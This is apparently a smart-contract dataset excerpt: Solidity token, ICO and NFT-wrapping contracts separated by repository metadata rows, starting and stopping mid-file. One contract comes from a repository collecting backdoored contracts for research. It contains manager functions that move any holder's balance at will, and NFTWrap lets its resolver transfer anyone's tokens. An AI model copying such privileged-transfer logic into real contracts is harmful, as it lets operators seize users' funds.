return IERC20(token).allowance(owner, spender);
}
function _transferFrom(address token, address from, address to, uint256 amount) private {
bool success = IERC20(token).transferFrom(from, to, amount);
require(success, "ArcTrader: unexpected token transfer failure");
}
function _getReserves(address lpToken) private view returns (uint256 token0Reserve, uint256 token1Reserve) {
(token0Reserve, token1Reserve,) = IPair(lpToken).getReserves();
}
function _pairSwap(address pair, uint256 outAmount0, uint256 outAmount1, address to)
private {
IPair(pair).swap(outAmount0, outAmount1, to, new bytes(0));
}
// Check if the token symbol is "Arc"
function _isArc(string memory symbol) private pure returns (bool) {
bytes memory b = bytes(symbol);
if (b.length != 3) {
return false;
}
return b[0] == 'A' && b[1] == 'r' && b[2] == 'c';
}
// Swaps a specific amount from one token to the other.
function _swap(address pair, address fromToken, address toToken, uint256 fromAmount)
private {
(uint256 reserve0, uint256 reserve1) = _getReserves(pair);
bool sorted = fromToken < toToken;
uint256 fromReserve;
uint256 toReserve;
if (sorted) {
fromReserve = reserve0;
toReserve = reserve1;
} else {
fromReserve = reserve1;
toReserve = reserve0;
}
unchecked {
// Note that these calculations (originally from UniSwapV2) only work for volatile pairs.
uint256 fromAmountAfterFee = fromAmount * 9995; // 0.05% fee
uint256 numerator = fromAmountAfterFee * toReserve;
uint256 denominator = (fromReserve * 10000) + fromAmountAfterFee;
uint256 toAmount = numerator / denominator;
// This transfer should always succeed since we have already checked the allowance
// and balance in sell().
_transferFrom(fromToken, msg.sender, pair, fromAmount);
if (sorted) {
_pairSwap(pair, 0, toAmount, msg.sender);
} else {
_pairSwap(pair, toAmount, 0, msg.sender);
}
}
}
// Swaps from one token to a specific amount of the other.
// Note that no check is made that toAmount is smaller than the reserve in the pair; if not
// the resulting transaction error may be obscure (this won't happen if the code above is
// correct).
function _reverseSwap(address pair, address fromToken, address toToken, uint256 toAmount)
private {
(uint256 reserve0, uint256 reserve1) = _getReserves(pair);
bool sorted = fromToken < toToken;
uint256 fromReserve;
uint256 toReserve;
if (sorted) {
fromReserve = reserve0;
toReserve = reserve1;
} else {
fromReserve = reserve1;
toReserve = reserve0;
}
unchecked {
uint256 numerator = fromReserve * toAmount * 10000;
uint256 denominator = (toReserve - toAmount) * 9995;
uint256 fromAmount = (numerator / denominator) + 1;
// Verify the caller's allowance and balance so we can give descriptive error messages
require(_allowance(fromToken, msg.sender, address(this)) >= fromAmount,
string.concat(string.concat("ArcTrader: insufficient ", IERC20(fromToken).symbol()), " allowance"));
require(IERC20(fromToken).balanceOf(msg.sender) >= fromAmount,
string.concat(string.concat("ArcTrader: insufficient ", IERC20(fromToken).symbol()), " balance"));
_transferFrom(fromToken, msg.sender, pair, fromAmount);
if (sorted) {
_pairSwap(pair, 0, toAmount, msg.sender);
} else {
_pairSwap(pair, toAmount, 0, msg.sender);
}
}
}
}
| 320,322 | 10,590 |
09e2f348d7225d46ac8e0695f2207d7639808e7eee5c79866a6120aa41e20555
| 14,497 |
.sol
|
Solidity
| false |
269351620
|
ErichDylus/100-Days-Of-Coding-Solidity
|
b37db015eb993c703f937956de04142de467e1d7
|
contracts/NFTWrap.sol
| 3,091 | 11,404 |
// SPDX-License-Identifier: MIT
// adapted from: https://raw.githubusercontent.com/openlawteam/LAO-NFT/master/contracts/NFTWrap.sol
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC721transferFrom { // brief interface for erc721 token (nft)
function transferFrom(address from, address to, uint256 tokenId) external;
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract NFTWrap {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - updateable by manager
address public resolver;
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate;
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale;
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, address indexed resolver, string details);
event UpdateSale(uint256 saleRate, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "not the manager");
_;
}
function init(address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(_manager, _managerSupply);
_mint(address(this), _saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "not forSale");
(bool success,) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "not reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "not the resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "not transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "not transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "not transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
emit UpdateGovernance(_manager, _resolver, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), _saleSupply);
emit UpdateSale(_saleRate, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawNFT(address[] calldata nft, address[] calldata withrawTo, uint256[] calldata tokenId) external onlyManager { // withdraw NFT sent to contract
require(nft.length == withrawTo.length && nft.length == tokenId.length, "!nft/withdrawTo/tokenId");
for (uint256 i = 0; i < nft.length; i++) {
IERC721transferFrom(nft[i]).transferFrom(address(this), withrawTo[i], tokenId[i]);
}
}
function withdrawToken(address[] calldata token, address[] calldata withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withrawTo[i], withdrawalValue);
}
}
}
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable contract
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract NFTWrapper is CloneFactory {
address payable immutable public template;
string public details;
event WrapNFT(address indexed manager, address indexed resolver, address indexed wrap, uint256 saleRate, bool forSale);
constructor(address payable _template, string memory _details) {
template = _template;
details = _details;
}
function wrapNFT(address payable _manager,
address[] memory _nftToWrap,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256[] memory _nftToWrapId,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable) public {
require(_nftToWrap.length == _nftToWrapId.length, "!_nftToWrap/_nftToWrapId");
NFTWrap wrap = NFTWrap(createClone(template));
wrap.init(_manager,
_resolver,
_decimals,
_managerSupply,
_saleRate,
_saleSupply,
_totalSupplyCap,
_name,
_symbol,
_forSale,
_transferable);
for (uint256 i = 0; i < _nftToWrap.length; i++) {
IERC721transferFrom(_nftToWrap[i]).transferFrom(msg.sender, address(wrap), _nftToWrapId[i]);
}
emit WrapNFT(_manager, _resolver, address(wrap), _saleRate, _forSale);
}
}
| 248,402 | 10,591 |
2202f7c9f97052428ad5e643643245f77528cad0a9d537bbb47b9b856dd515ef
| 20,225 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xc654ec1fc5a1c76a19bf169ef2765cef23cdd236.sol
| 4,817 | 18,899 |
pragma solidity ^0.4.18;
contract AbstractToken {
function totalSupply() public constant returns (uint256) {}
function balanceOf(address owner) public constant returns (uint256 balance);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract SafeMath {
function mul(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
contract PreIco is SafeMath {
string public constant name = "Remechain Presale Token";
string public constant symbol = "iRMC";
uint public constant decimals = 18;
// addresses of managers
address public manager;
address public reserveManager;
// addresses of escrows
address public escrow;
address public reserveEscrow;
// BASE = 10^18
uint constant BASE = 1000000000000000000;
// amount of supplied tokens
uint public tokensSupplied = 0;
// amount of supplied bounty reward
uint public bountySupplied = 0;
// Soft capacity = 6250 ETH
uint public constant SOFT_CAPACITY = 2000000 * BASE;
// Hard capacity = 18750 ETH
uint public constant TOKENS_SUPPLY = 6000000 * BASE;
// Amount of bounty reward
uint public constant BOUNTY_SUPPLY = 350000 * BASE;
// Total supply
uint public constant totalSupply = TOKENS_SUPPLY + BOUNTY_SUPPLY;
// 1 RMC = 0.003125 ETH for 600 000 000 RMC
uint public constant TOKEN_PRICE = 3125000000000000;
uint tokenAmount1 = 6000000 * BASE;
uint tokenPriceMultiply1 = 1;
uint tokenPriceDivide1 = 1;
uint[] public tokenPriceMultiplies;
uint[] public tokenPriceDivides;
uint[] public tokenAmounts;
// ETH balances of accounts
mapping(address => uint) public ethBalances;
uint[] public prices;
uint[] public amounts;
mapping(address => uint) private balances;
// 2018.02.25 17:00 MSK
uint public constant defaultDeadline = 1519567200;
uint public deadline = defaultDeadline;
// Is ICO frozen
bool public isIcoStopped = false;
// Addresses of allowed tokens for buying
address[] public allowedTokens;
// Amount of token
mapping(address => uint) public tokenAmount;
// Price of current token amount
mapping(address => uint) public tokenPrice;
// Full users list
address[] public usersList;
mapping(address => bool) isUserInList;
// Number of users that have returned their money
uint numberOfUsersReturned = 0;
// user => token[]
mapping(address => address[]) public userTokens;
// user => token => amount
mapping(address => mapping(address => uint)) public userTokensValues;
event BuyTokens(address indexed _user, uint _ethValue, uint _boughtTokens);
event BuyTokensWithTokens(address indexed _user, address indexed _token, uint _tokenValue, uint _boughtTokens);
event GiveReward(address indexed _to, uint _value);
event IcoStoppedManually();
event IcoRunnedManually();
event WithdrawEther(address indexed _escrow, uint _ethValue);
event WithdrawToken(address indexed _escrow, address indexed _token, uint _value);
event ReturnEthersFor(address indexed _user, uint _value);
event ReturnTokensFor(address indexed _user, address indexed _token, uint _value);
event AddToken(address indexed _token, uint _amount, uint _price);
event RemoveToken(address indexed _token);
event MoveTokens(address indexed _from, address indexed _to, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
modifier onlyManager {
assert(msg.sender == manager || msg.sender == reserveManager);
_;
}
modifier onlyManagerOrContract {
assert(msg.sender == manager || msg.sender == reserveManager || msg.sender == address(this));
_;
}
modifier IcoIsActive {
assert(isIcoActive());
_;
}
/// @dev Constructor of PreIco.
/// @param _manager Address of manager
/// @param _reserveManager Address of reserve manager
/// @param _escrow Address of escrow
/// @param _reserveEscrow Address of reserve escrow
/// @param _deadline ICO deadline timestamp. If is 0, sets 1515679200
function PreIco(address _manager, address _reserveManager, address _escrow, address _reserveEscrow, uint _deadline) public {
assert(_manager != 0x0);
assert(_reserveManager != 0x0);
assert(_escrow != 0x0);
assert(_reserveEscrow != 0x0);
manager = _manager;
reserveManager = _reserveManager;
escrow = _escrow;
reserveEscrow = _reserveEscrow;
if (_deadline != 0) {
deadline = _deadline;
}
tokenPriceMultiplies.push(tokenPriceMultiply1);
tokenPriceDivides.push(tokenPriceDivide1);
tokenAmounts.push(tokenAmount1);
}
/// @dev Returns token balance of user. 1 token = 1/10^18 RMC
/// @param _user Address of user
function balanceOf(address _user) public returns(uint balance) {
return balances[_user];
}
/// @dev Returns, is ICO enabled
function isIcoActive() public returns(bool isActive) {
return !isIcoStopped && now < deadline;
}
/// @dev Returns, is SoftCap reached
function isIcoSuccessful() public returns(bool isSuccessful) {
return tokensSupplied >= SOFT_CAPACITY;
}
/// @dev Calculates number of tokens RMC for buying with custom price of token
/// @param _amountOfToken Amount of RMC token
/// @param _priceAmountOfToken Price of amount of RMC
/// @param _value Amount of custom token
function getTokensAmount(uint _amountOfToken, uint _priceAmountOfToken, uint _value) private returns(uint tokensToBuy) {
uint currentStep;
uint tokensRemoved = tokensSupplied;
for (currentStep = 0; currentStep < tokenAmounts.length; currentStep++) {
if (tokensRemoved >= tokenAmounts[currentStep]) {
tokensRemoved -= tokenAmounts[currentStep];
} else {
break;
}
}
assert(currentStep < tokenAmounts.length);
uint result = 0;
for (; currentStep <= tokenAmounts.length; currentStep++) {
assert(currentStep < tokenAmounts.length);
uint tokenOnStepLeft = tokenAmounts[currentStep] - tokensRemoved;
tokensRemoved = 0;
uint howManyTokensCanBuy = _value
* _amountOfToken / _priceAmountOfToken
* tokenPriceDivides[currentStep] / tokenPriceMultiplies[currentStep];
if (howManyTokensCanBuy > tokenOnStepLeft) {
result = add(result, tokenOnStepLeft);
uint spent = tokenOnStepLeft
* _priceAmountOfToken / _amountOfToken
* tokenPriceMultiplies[currentStep] / tokenPriceDivides[currentStep];
if (_value <= spent) {
break;
}
_value -= spent;
tokensRemoved = 0;
} else {
result = add(result, howManyTokensCanBuy);
break;
}
}
return result;
}
/// @dev Calculates number of tokens RMC for buying with ETH
/// @param _value Amount of ETH token
function getTokensAmountWithEth(uint _value) private returns(uint tokensToBuy) {
return getTokensAmount(BASE, TOKEN_PRICE, _value);
}
/// @dev Calculates number of tokens RMC for buying with ERC-20 token
/// @param _token Address of ERC-20 token
/// @param _tokenValue Amount of ETH token
function getTokensAmountByTokens(address _token, uint _tokenValue) private returns(uint tokensToBuy) {
assert(tokenPrice[_token] > 0);
return getTokensAmount(tokenPrice[_token], tokenAmount[_token], _tokenValue);
}
/// @dev Solds tokens for user by ETH
/// @param _user Address of user which buys token
/// @param _value Amount of ETH. 1 _value = 1/10^18 ETH
function buyTokens(address _user, uint _value) private IcoIsActive {
uint boughtTokens = getTokensAmountWithEth(_value);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
addUserToList(_user);
BuyTokens(_user, _value, boughtTokens);
}
/// @dev Makes ERC-20 token sellable
/// @param _token Address of ERC-20 token
/// @param _amount Amount of current token
/// @param _price Price of _amount of token
function addToken(address _token, uint _amount, uint _price) onlyManager public {
assert(_token != 0x0);
assert(_amount > 0);
assert(_price > 0);
bool isNewToken = true;
for (uint i = 0; i < allowedTokens.length; i++) {
if (allowedTokens[i] == _token) {
isNewToken = false;
break;
}
}
if (isNewToken) {
allowedTokens.push(_token);
}
tokenPrice[_token] = _price;
tokenAmount[_token] = _amount;
}
/// @dev Makes ERC-20 token not sellable
/// @param _token Address of ERC-20 token
function removeToken(address _token) onlyManager public {
for (uint i = 0; i < allowedTokens.length; i++) {
if (_token == allowedTokens[i]) {
if (i < allowedTokens.length - 1) {
allowedTokens[i] = allowedTokens[allowedTokens.length - 1];
}
allowedTokens[allowedTokens.length - 1] = 0x0;
allowedTokens.length--;
break;
}
}
tokenPrice[_token] = 0;
tokenAmount[_token] = 0;
}
/// @dev add user to usersList
/// @param _user Address of user
function addUserToList(address _user) private {
if (!isUserInList[_user]) {
isUserInList[_user] = true;
usersList.push(_user);
}
}
/// @dev Makes amount of tokens not purchasable
/// @param _amount Amount of RMC tokens
function burnTokens(uint _amount) private {
assert(add(tokensSupplied, _amount) <= TOKENS_SUPPLY);
tokensSupplied = add(tokensSupplied, _amount);
}
/// @dev Takes ERC-20 tokens approved by user for using and gives him RMC tokens
/// @param _token Address of ERC-20 token
function buyWithTokens(address _token) public {
buyWithTokensBy(msg.sender, _token);
}
/// @param _user Address of user
/// @param _token Address of ERC-20 token
function buyWithTokensBy(address _user, address _token) public IcoIsActive {
// Checks whether the token is allowed
assert(tokenPrice[_token] > 0);
AbstractToken token = AbstractToken(_token);
uint tokensToSend = token.allowance(_user, address(this));
assert(tokensToSend > 0);
uint boughtTokens = getTokensAmountByTokens(_token, tokensToSend);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
uint prevBalance = token.balanceOf(address(this));
assert(token.transferFrom(_user, address(this), tokensToSend));
assert(token.balanceOf(address(this)) - prevBalance == tokensToSend);
userTokensValues[_user][_token] = add(userTokensValues[_user][_token], tokensToSend);
addTokenToUser(_user, _token);
addUserToList(_user);
BuyTokensWithTokens(_user, _token, tokensToSend, boughtTokens);
}
/// @dev Makes amount of tokens returnable for user. If _buyTokens equals true, buy tokens
/// @param _user Address of user
/// @param _token Address of ERC-20 token
/// @param _tokenValue Amount of ERC-20 token
/// @param _buyTokens If true, buys tokens for this sum
function addTokensToReturn(address _user, address _token, uint _tokenValue, bool _buyTokens) public onlyManager {
// Checks whether the token is allowed
assert(tokenPrice[_token] > 0);
if (_buyTokens) {
uint boughtTokens = getTokensAmountByTokens(_token, _tokenValue);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
BuyTokensWithTokens(_user, _token, _tokenValue, boughtTokens);
}
userTokensValues[_user][_token] = add(userTokensValues[_user][_token], _tokenValue);
addTokenToUser(_user, _token);
addUserToList(_user);
}
/// @dev Adds ERC-20 tokens to user's token list
/// @param _user Address of user
/// @param _token Address of ERC-20 token
function addTokenToUser(address _user, address _token) private {
for (uint i = 0; i < userTokens[_user].length; i++) {
if (userTokens[_user][i] == _token) {
return;
}
}
userTokens[_user].push(_token);
}
function returnFunds() public {
assert(!isIcoSuccessful() && !isIcoActive());
returnFundsFor(msg.sender);
}
function moveIcoTokens(address _from, address _to, uint _value) public onlyManager {
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
MoveTokens(_from, _to, _value);
}
/// @dev Returns ether and tokens to user. Can be called only by manager or contract
/// @param _user Address of user
function returnFundsFor(address _user) public onlyManagerOrContract returns(bool) {
if (ethBalances[_user] > 0) {
if (_user.send(ethBalances[_user])) {
ReturnEthersFor(_user, ethBalances[_user]);
ethBalances[_user] = 0;
}
}
for (uint i = 0; i < userTokens[_user].length; i++) {
address tokenAddress = userTokens[_user][i];
uint userTokenValue = userTokensValues[_user][tokenAddress];
if (userTokenValue > 0) {
AbstractToken token = AbstractToken(tokenAddress);
if (token.transfer(_user, userTokenValue)) {
ReturnTokensFor(_user, tokenAddress, userTokenValue);
userTokensValues[_user][tokenAddress] = 0;
}
}
}
balances[_user] = 0;
}
/// @dev Returns ether and tokens to list of users. Can be called only by manager
/// @param _users Array of addresses of users
function returnFundsForMultiple(address[] _users) public onlyManager {
for (uint i = 0; i < _users.length; i++) {
returnFundsFor(_users[i]);
}
}
/// @dev Returns ether and tokens to 50 users. Can be called only by manager
function returnFundsForAll() public onlyManager {
assert(!isIcoActive() && !isIcoSuccessful());
uint first = numberOfUsersReturned;
uint last = (first + 50 < usersList.length) ? first + 50 : usersList.length;
for (uint i = first; i < last; i++) {
returnFundsFor(usersList[i]);
}
numberOfUsersReturned = last;
}
/// @dev Withdraws ether and tokens to _escrow if SoftCap is reached
/// @param _escrow Address of escrow
function withdrawEtherTo(address _escrow) private {
assert(isIcoSuccessful());
if (this.balance > 0) {
if (_escrow.send(this.balance)) {
WithdrawEther(_escrow, this.balance);
}
}
for (uint i = 0; i < allowedTokens.length; i++) {
AbstractToken token = AbstractToken(allowedTokens[i]);
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance > 0) {
if (token.transfer(_escrow, tokenBalance)) {
WithdrawToken(_escrow, address(token), tokenBalance);
}
}
}
}
/// @dev Withdraw ether and tokens to escrow. Can be called only by manager
function withdrawEther() public onlyManager {
withdrawEtherTo(escrow);
}
/// @dev Withdraw ether and tokens to reserve escrow. Can be called only by manager
function withdrawEtherToReserveEscrow() public onlyManager {
withdrawEtherTo(reserveEscrow);
}
/// @dev Enables disabled ICO. Can be called only by manager
function runIco() public onlyManager {
assert(isIcoStopped);
isIcoStopped = false;
IcoRunnedManually();
}
/// @dev Disables ICO. Can be called only by manager
function stopIco() public onlyManager {
isIcoStopped = true;
IcoStoppedManually();
}
/// @dev Fallback function. Buy RMC tokens on sending ether
function () public payable {
buyTokens(msg.sender, msg.value);
}
/// @dev Gives bounty reward to user. Can be called only by manager
/// @param _to Address of user
/// @param _amount Amount of bounty
function giveReward(address _to, uint _amount) public onlyManager {
assert(_to != 0x0);
assert(_amount > 0);
assert(add(bountySupplied, _amount) <= BOUNTY_SUPPLY);
bountySupplied = add(bountySupplied, _amount);
balances[_to] = add(balances[_to], _amount);
GiveReward(_to, _amount);
}
/// Adds other ERC-20 functions
function transfer(address _to, uint _value) public returns (bool success) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
return false;
}
function approve(address _spender, uint _value) public returns (bool success) {
return false;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return 0;
}
}
| 145,158 | 10,592 |
ad75bed240773e22e90e495e3c7fb8b2f6f9cfb018de4a2da2b04d1eea980948
| 18,036 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9b/9b43a7a8f5f7e5d9cb63af86ea553caaae278fc3_Distributor.sol
| 3,981 | 15,725 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
